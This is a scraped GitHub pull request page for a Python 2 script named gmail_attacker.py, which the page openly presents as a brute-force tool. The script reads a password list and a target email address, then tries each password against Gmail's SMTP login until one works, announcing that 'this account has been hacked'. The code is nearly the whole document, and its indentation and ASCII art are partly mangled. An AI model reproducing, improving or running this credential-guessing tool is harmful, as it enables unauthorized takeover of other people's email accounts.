Skip to content

Update gmail_attacker.py#13

Draft
Alpha890 wants to merge 1 commit into
AyoubSirai:masterfrom
Alpha890:Alpha890-1
Draft

Update gmail_attacker.py#13
Alpha890 wants to merge 1 commit into
AyoubSirai:masterfrom
Alpha890:Alpha890-1

Conversation

@Alpha890

Copy link
Copy Markdown

#!/usr/bin/python
'''coded by alpha890'''

import smtplib
from os import system

def main():
print '================================================='
print ' coded by alpha890 '
print '================================================='
print ' ++++++++++++++++++++ '
print '\n '
print ' ,. '
print ' '
print ' '
print ' '
print ' ,. '
print ' , -.) ' print ' ( _/-\\-._ ' print ' /,|--.
,-^| , '
print ' _| |-._/|| , | ' print ' | -, / | / / '
print ' | || | / / '
print ' r-._||/ __ / / ' print ' __,-<_ )-/ ./ / ' print ' \ --- \ / / / '
print ' | |./ / '
print ' / // / '
print ' _/ \ |/ / '
print ' | | ,^- / / '
print ' | , `` (/ /
'
print ' ,.->.
\X-=/^ '
print ' ( / -._//^ '
print ' `Y-.____(} '
print ' | {
) '
print ' () '

main()
print '[1] start the brute force attack'
print '[2] exit'
option = input('==>')
if option == 1:
file_path = raw_input('enter the path of passwords file :')
else:
system('clear')
exit()
pass_file = open(file_path,'r')
pass_list = pass_file.readlines()
def login():
i = 0
user_name = raw_input('enter the target email :')
server = smtplib.SMTP_SSL('smtp.gmail.com', 465)
server.ehlo()
for password in pass_list:
i = i + 1
print str(i) + '/' + str(len(pass_list))
try:
server.login(user_name, password)
system('clear')
main()
print '\n'
print '[+] this account has been hacked, password :' + password + ' ^^'
break
except smtplib.SMTPAuthenticationError as e:
error = str(e)
if error[14] == '<':
system('clear')
main()
print '[+] this account has been hacked, password :' + password + ' ^
^'

        break
     else:
        print '[!] password not found => ' + password

login()

@Mehdinavaser Mehdinavaser left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

mehdinavaser

Comment thread gmail_attacker.py
'''coded by alpha890'''

import smtplib
from os import system

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants